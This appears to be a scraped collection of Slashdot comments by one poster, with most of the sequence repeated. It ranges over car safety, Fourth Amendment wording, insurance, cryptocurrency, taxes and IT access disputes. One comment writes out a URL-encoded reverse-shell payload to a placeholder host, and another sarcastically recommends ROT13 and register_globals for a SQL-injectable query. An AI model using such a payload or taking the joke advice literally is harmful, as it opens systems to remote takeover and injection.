We drive close enough to the car in front of us to avoid hitting that car if it brakes, not to avoid a fixed obstacle that appears where the car is.
If the vehicle is large enough to safely run over a fixed obstacle that you could not, then the driver is responsible to account for that, and keep a much greater following distance.
There was a freaking 50 foot tree in the lane. You never know what sort of road debris you'll be faced with.
You run into a 50 foot tree or other fixed obstacle, and you will be in bad shape, regardless of if your car is Gasoline or a Tesla.
This kind of road debris does happen, but it's not very common.
The risks of Electric and Gas cars are different; with the electric car, you may have your fuel ignite while filling due to static electricity.
That's happened to people more than 3 or 4 times, for sure.
I've yet to hear of electric cars exploding, when they're being recharged.
The Tesla battery case also needs to deal with larger 'crush'-type impacts. That Chobham armour doesn't work nearly as well as regular-old-steel-plate when somebody drives a truck over you.
How do you survive, when somebody drives a truck over you? Does the armoring on the battery, even matter at this point?
Tungsten carbide is a very hard material useful for cutting tools, tips of armor piercing projectiles etc. It's 'as brittle as glass' but wins most hardness wars.
Which is the point of including some of it at the surface..... to fragment a projectile.
They could also include a cobalt plate in between two 8th inch wafers made of a steel-titanium alloy.
In any case, a strong argument could also be made that the fourth amendment's phrasing ("...secure in their persons, houses, papers, and effects, against unreasonable searches...") is pretty much the textbook definition of "right to privacy".
The problem is this word unreasonable,/b>.
Strike this word unreasonable; insert "without due process of law and" ahead of ", shall not be violated"
Also, change
secure in their persons, houses, papers, and effects
To include
secure in their persons, homes, offices, papers, transactions, private communications, business partners, and effects against
change searches and seizures to
searches, eavesdropping, recordings, or seizures except as both reasonable and necessary to protect the immediate life, liberty, or tangible property of citizens; OR, as indicated by public warrant
Change
probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.
To
probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things involved in suspected criminal acts to be seized; valuable property or equipment shall not be seized or damaged in searches, without prompt fair compensation for any loss of lawful use, loss or delay of benefits, loss or delay of business, profit, damage, depreciation, extra work, resale value, or extra costs, incurred on any party resulting from searches, seizures, or recordings.
The nice thing is that all of these currencies have a finite supply! (smirk)
How hard is it for me to make a new one, with a name of my choosing? I was thinking of making a currency named after each one of my pets.... RubyCoin, RexCoin, FelixCoin, MistyCoin, SpikeCoin, LuluCoin,:)
Phase 4: When we hit actual safety. Manual drive mode will be removed and outlawed. Software updates will become part of the safety inspections required on cars yearly.
What yearly safety inspections? They'll be done weekly.... automatically, by computer, when you go to fill up your tank.
For driverless cars the insurance would also have to take into account the possibility that certain software errors could have costly consequences.
This is where the manufacturer's liability insurance comes in.
You forgot about things like theft, intentional and unintentional mistakes by other people, as well as acts of nature (hail storms, flooding, collisions with wildlife)
Car insurance companies get out of paying claims for theft.
A lot of folks just buy the liability, collision; no comprehensive.
They make sense for the first few days after you drive it off the lot. After the "new car premium" is lost from its value;
Within a couple years, you will likely pay in insurance costs, the value of the car .
On average; the insurance company always wins, so it doesn't necessarily make great sense to insure the car itself.
That would be a wonderful solution to the parking problem, especially for people with non-autonomous vehicles. When you get where you are going and can't find a parking space
Why would you need parking?
Just tell your car to drive around for a few hours, and come pick you up in an hour.
This isn't the first data pointing in that direction. It certainly suggests that we should be looking at it further and that the flat denials of any potential for harm (and there are plenty of those) are not really on solid ground (so to speak).
Flat denials of any potential for harm are wishful thinking
They fear so much, that people will think it's causing harm, and call halts on drilling, that they will go to great lengths to assert it must be harmless
Hoping the more times they say it; that makes it more true, and less likely for people to be concerned about the drilling operations
so by appending your own SQL query (say, a DELETE one) via a vulnerable input you can still do plenty of damage, even via a GET method.
That would be a bug in the application.
The HTTP spec doesn't let you say what could happen if there's a bug in the application.
It could be designed so that all GETs are idempotent operations, but due to a bug they are not.
For all I know; if there's a bug in the application adding ?X=FOOBAR&do=%2Fbin%2Fbash%20-i%20%3E%2Fdev%2Ftcp%2Fwww.example.com%2F80%200%3C%261%202%3E%261 to the get string will drop me a shell; which is decidedly non-idempotent.
While funny, the issue is not with a personal password. These are passwords for infrastructure. It's kind of like working for a trucking company and taking the truck keys with you when you quit, except that it sounds like this was a pretty big ass truck
It's more like: You're the lead mechanic supervisor for the trucking company. The engine compartment/hood of all the trucks are kept sealed with a combination lock and a unique combination; to prevent tampering by the driver, and ensure only company approved mechanics have access.
Originally; as supervisor and designer of the truck fleet, you have the master combination that opens them all, you also shared the master combination with a few senior truck mechanics in the past, and all the truck mechanics have the combinations to some trucks.
A few of the mechanics screw up, so as supervisor, you have the master combination and all the lock combinations changed, so you have to open up the hood, before any mechanic can work on any truck.
You get paranoid about the possibility of a trucker breaking the lock open, and letting in one of those sleazy third party mechanics; so you implement a manufacturer feature that will cause the entire engine assembly to fall apart, if the locking mechanism is brute-forced.
Only a decent mechanic could piece back together the engine, with many hundreds of hours of work.
Eventually; some of the senior mechanics, who see themselves as your "equal" get more and more pissed, about not having the master combination anymore to see what's going on or do their job more efficiently.
3 or 4 of them finally go to your boss, explain how they are being impaired, and their boss agrees with them.
Makes a decision to change your role in the company from trucking maintenance supervisor, to truck driver;
orders you to turn over the secret master combinations.
You refuse, claiming the top 4 trucking maintenance workers are unqualified, and might break things.
What if the key was his fingerprint? Would he have to go back and open the system up for them? Or could he negotiate a consulting deal with them, or what?
What he is required to do is turn in his access to the employer.
So that the employer has access, and he no longer does.
If he designed the system so that his fingerprint is required to authorize that action, then that is what he has to provide.
If not: the employer can hire their own consultants to "drill the lock" or defeat his security mechanism, and then pursue recourse against him for the cost.
If he builds in a self-destruct mechanism or other measure to cause damage, in the event of the employer breaking through security --- then it may be considered sabotage, and he is responsible for that as well.
Apple would not have the success it did if not for the society that it exists in, complete with infrastructure, education, and a well paid customer base to support its products.
Apple's success is not attributable to these things by any measure. There are plenty of other companies in various businesses, that had all these things, but no success.
every company kinda hopes that OTHER companies will pay taxes and create jobs, while they minimize their own.
Only if they are competitors; the competitor who pays more taxes will fail.
Every company has to minimize their employment costs ----- if you are in the business of selling quarters for nickels, you will go broke pretty fast.
Look at any country where the government is completely hands off and you find a complete decimated economy.
Nonsense. there are more decimated economies where the government was overly hands-on.
Economies where the government was completely hands off over long periods of time are among the most successful.
It's the US government being overly hands-on that causes Apple to create fewer US jobs in the first place.
Pesky tax laws and employment regulations cause it to be fiscally irresponsible to not outsource certain jobs overseas.
You can pre-order your excavator from Butterfly labs.
You will be lucky, if they fill your order within 24 months, by which time: the network hash rate will have increased so high, that you will have a net loss on your hands.
Err... one of the things he did was to make it as hard as possible for the "undesirables" to emigrate - to make it easier to round them up and kill them.
At one point that was true; before Germany's conquest of Europe though -- the undesirables were encouraged to emigrate away.
The undesirables in Germany were undesirables elsewhere too; the country tried to send away the undesirables to Cuba, the US, etc... other countries refused them entry; and refused them asylum
It turns out: if you want to leave, you need to have somewhere to go
everything that has happened in the world since January 21 1976 has been a lie intended to cover up the truth that aliens landed on earth and took over our goverment
You do mean January 21, 1876; correct?
And "The Aliens" is a codeword, for the powers that be, correct?
Nonsense. An American who doesn't like the tax rules in America would find it trivially easy to migrate to another country with different rules
An absurd reply. Of course, (1) migration is never easy, AND (2) "You can go somewhere else, if you think you're treated unfairly" is the age old reply of tyrants --- even Adolf Hitler used that excuse.
If you asked someone to write the rules without knowing who they would be (obviously a thought experiment) then they'd want to ensure that the disabled, people from impoverished families etc were assisted
That means nothing, other than that humans are naturally loss-averse, and predisposed towards thievery.
Slashdot Mirror
I'm sure as a backup for places that refuse to upgrade they'll still be able to take imprints, just like 50 years ago.
50 years ago? It was common about 20 years ago.
Also; I made a purchase at a store that did an imprint, about 6 to 8 months ago.
We drive close enough to the car in front of us to avoid hitting that car if it brakes, not to avoid a fixed obstacle that appears where the car is.
If the vehicle is large enough to safely run over a fixed obstacle that you could not, then the driver is responsible to account for that, and keep a much greater following distance.
There was a freaking 50 foot tree in the lane. You never know what sort of road debris you'll be faced with.
You run into a 50 foot tree or other fixed obstacle, and you will be in bad shape, regardless of if your car is Gasoline or a Tesla.
This kind of road debris does happen, but it's not very common.
The risks of Electric and Gas cars are different; with the electric car, you may have your fuel ignite while filling due to static electricity.
That's happened to people more than 3 or 4 times, for sure.
I've yet to hear of electric cars exploding, when they're being recharged.
The Tesla battery case also needs to deal with larger 'crush'-type impacts. That Chobham armour doesn't work nearly as well as regular-old-steel-plate when somebody drives a truck over you.
How do you survive, when somebody drives a truck over you? Does the armoring on the battery, even matter at this point?
Tungsten carbide is a very hard material useful for cutting tools, tips of armor piercing projectiles etc. It's 'as brittle as glass' but wins most hardness wars.
Which is the point of including some of it at the surface..... to fragment a projectile. They could also include a cobalt plate in between two 8th inch wafers made of a steel-titanium alloy.
In any case, a strong argument could also be made that the fourth amendment's phrasing ("...secure in their persons, houses, papers, and effects, against unreasonable searches...") is pretty much the textbook definition of "right to privacy".
The problem is this word unreasonable,/b>.
Strike this word unreasonable; insert "without due process of law and" ahead of ", shall not be violated"
Also, change
secure in their persons, houses, papers, and effects
To include
secure in their persons, homes, offices, papers, transactions, private communications, business partners, and effects against
change searches and seizures to
searches, eavesdropping, recordings, or seizures except as both reasonable and necessary to protect the immediate life, liberty, or tangible property of citizens; OR, as indicated by public warrant
Change
probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.
To
probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things involved in suspected criminal acts to be seized; valuable property or equipment shall not be seized or damaged in searches, without prompt fair compensation for any loss of lawful use, loss or delay of benefits, loss or delay of business, profit, damage, depreciation, extra work, resale value, or extra costs, incurred on any party resulting from searches, seizures, or recordings.
Mount it to the roof, then when any impact sensor goes off, ejector rockets fire, sending the battery pack safely away!
Ejector rockets? Those couldn't possibly be a fire hazard!
The nice thing is that all of these currencies have a finite supply! (smirk)
How hard is it for me to make a new one, with a name of my choosing? I was thinking of making a currency named after each one of my pets.... RubyCoin, RexCoin, FelixCoin, MistyCoin, SpikeCoin, LuluCoin, :)
Hard steel is brittle. Mild, tough steel is right for this application.
Tough steal; with layers of tungsten carbide, and titanium reinforcement.
If you think Gasoline is dangerous.... you should see how dangerous desktop screen savers can be.
3. I want to leave NOW, I don't want to have to wait for my car to come back where I am.
For a small extra free; autonomous taxis on standby, to drive you to where your car is.
Phase 4: When we hit actual safety. Manual drive mode will be removed and outlawed. Software updates will become part of the safety inspections required on cars yearly.
What yearly safety inspections? They'll be done weekly.... automatically, by computer, when you go to fill up your tank.
For driverless cars the insurance would also have to take into account the possibility that certain software errors could have costly consequences.
This is where the manufacturer's liability insurance comes in.
You forgot about things like theft, intentional and unintentional mistakes by other people, as well as acts of nature (hail storms, flooding, collisions with wildlife)
Car insurance companies get out of paying claims for theft. A lot of folks just buy the liability, collision; no comprehensive.
They make sense for the first few days after you drive it off the lot. After the "new car premium" is lost from its value; Within a couple years, you will likely pay in insurance costs, the value of the car .
On average; the insurance company always wins, so it doesn't necessarily make great sense to insure the car itself.
That would be a wonderful solution to the parking problem, especially for people with non-autonomous vehicles. When you get where you are going and can't find a parking space
Why would you need parking?
Just tell your car to drive around for a few hours, and come pick you up in an hour.
This isn't the first data pointing in that direction. It certainly suggests that we should be looking at it further and that the flat denials of any potential for harm (and there are plenty of those) are not really on solid ground (so to speak).
Flat denials of any potential for harm are wishful thinking
They fear so much, that people will think it's causing harm, and call halts on drilling, that they will go to great lengths to assert it must be harmless
Hoping the more times they say it; that makes it more true, and less likely for people to be concerned about the drilling operations
I don't get it. What's unsafe about "select * from catalog where id=".$_GET["id"]?
Dude... you forgot to encrypt your databases.... it should be
$catalogname = str_rot13('catalog'); $idname = str_rot13('id');
$id = str_replace(';', '', $id, ); ...
"select * from $catalogname where $idname=".$id
Make sure to insist that register_globals is set to On in the PHP settings for the web server.
so by appending your own SQL query (say, a DELETE one) via a vulnerable input you can still do plenty of damage, even via a GET method.
That would be a bug in the application.
The HTTP spec doesn't let you say what could happen if there's a bug in the application. It could be designed so that all GETs are idempotent operations, but due to a bug they are not.
For all I know; if there's a bug in the application adding ?X=FOOBAR&do=%2Fbin%2Fbash%20-i%20%3E%2Fdev%2Ftcp%2Fwww.example.com%2F80%200%3C%261%202%3E%261 to the get string will drop me a shell; which is decidedly non-idempotent.
Why, it's not just bots! If you put a link out on a public web site, real people might even click on the link for you!
Why not just include an iframe, and have an onload javascript of the parent page navigate the iframe to various links?
While funny, the issue is not with a personal password. These are passwords for infrastructure. It's kind of like working for a trucking company and taking the truck keys with you when you quit, except that it sounds like this was a pretty big ass truck
It's more like: You're the lead mechanic supervisor for the trucking company. The engine compartment/hood of all the trucks are kept sealed with a combination lock and a unique combination; to prevent tampering by the driver, and ensure only company approved mechanics have access.
Originally; as supervisor and designer of the truck fleet, you have the master combination that opens them all, you also shared the master combination with a few senior truck mechanics in the past, and all the truck mechanics have the combinations to some trucks.
A few of the mechanics screw up, so as supervisor, you have the master combination and all the lock combinations changed, so you have to open up the hood, before any mechanic can work on any truck.
You get paranoid about the possibility of a trucker breaking the lock open, and letting in one of those sleazy third party mechanics; so you implement a manufacturer feature that will cause the entire engine assembly to fall apart, if the locking mechanism is brute-forced.
Only a decent mechanic could piece back together the engine, with many hundreds of hours of work.
Eventually; some of the senior mechanics, who see themselves as your "equal" get more and more pissed, about not having the master combination anymore to see what's going on or do their job more efficiently.
3 or 4 of them finally go to your boss, explain how they are being impaired, and their boss agrees with them. Makes a decision to change your role in the company from trucking maintenance supervisor, to truck driver; orders you to turn over the secret master combinations.
You refuse, claiming the top 4 trucking maintenance workers are unqualified, and might break things.
You get fired, and wonder why.
What if the key was his fingerprint? Would he have to go back and open the system up for them? Or could he negotiate a consulting deal with them, or what?
What he is required to do is turn in his access to the employer. So that the employer has access, and he no longer does.
If he designed the system so that his fingerprint is required to authorize that action, then that is what he has to provide.
If not: the employer can hire their own consultants to "drill the lock" or defeat his security mechanism, and then pursue recourse against him for the cost.
If he builds in a self-destruct mechanism or other measure to cause damage, in the event of the employer breaking through security --- then it may be considered sabotage, and he is responsible for that as well.
Apple would not have the success it did if not for the society that it exists in, complete with infrastructure, education, and a well paid customer base to support its products.
Apple's success is not attributable to these things by any measure. There are plenty of other companies in various businesses, that had all these things, but no success.
every company kinda hopes that OTHER companies will pay taxes and create jobs, while they minimize their own.
Only if they are competitors; the competitor who pays more taxes will fail.
Every company has to minimize their employment costs ----- if you are in the business of selling quarters for nickels, you will go broke pretty fast.
Look at any country where the government is completely hands off and you find a complete decimated economy.
Nonsense. there are more decimated economies where the government was overly hands-on. Economies where the government was completely hands off over long periods of time are among the most successful.
It's the US government being overly hands-on that causes Apple to create fewer US jobs in the first place.
Pesky tax laws and employment regulations cause it to be fiscally irresponsible to not outsource certain jobs overseas.
who is selling the shovels and pans?
You can pre-order your excavator from Butterfly labs. You will be lucky, if they fill your order within 24 months, by which time: the network hash rate will have increased so high, that you will have a net loss on your hands.
I missed the gold rush, but there's still money to be made selling shovels and pans to those who think they didn't...
*Cough* Excuse me, while I move over and start mining Litecoin.
Err ... one of the things he did was to make it as hard as possible for the "undesirables" to emigrate - to make it easier to round them up and kill them.
At one point that was true; before Germany's conquest of Europe though -- the undesirables were encouraged to emigrate away.
What happened with The Ms. St. Louis?
The undesirables in Germany were undesirables elsewhere too; the country tried to send away the undesirables to Cuba, the US, etc... other countries refused them entry; and refused them asylum
It turns out: if you want to leave, you need to have somewhere to go
everything that has happened in the world since January 21 1976 has been a lie intended to cover up the truth that aliens landed on earth and took over our goverment
You do mean January 21, 1876; correct?
And "The Aliens" is a codeword, for the powers that be, correct?
Nonsense. An American who doesn't like the tax rules in America would find it trivially easy to migrate to another country with different rules
An absurd reply. Of course, (1) migration is never easy, AND (2) "You can go somewhere else, if you think you're treated unfairly" is the age old reply of tyrants --- even Adolf Hitler used that excuse.
If you asked someone to write the rules without knowing who they would be (obviously a thought experiment) then they'd want to ensure that the disabled, people from impoverished families etc were assisted
That means nothing, other than that humans are naturally loss-averse, and predisposed towards thievery.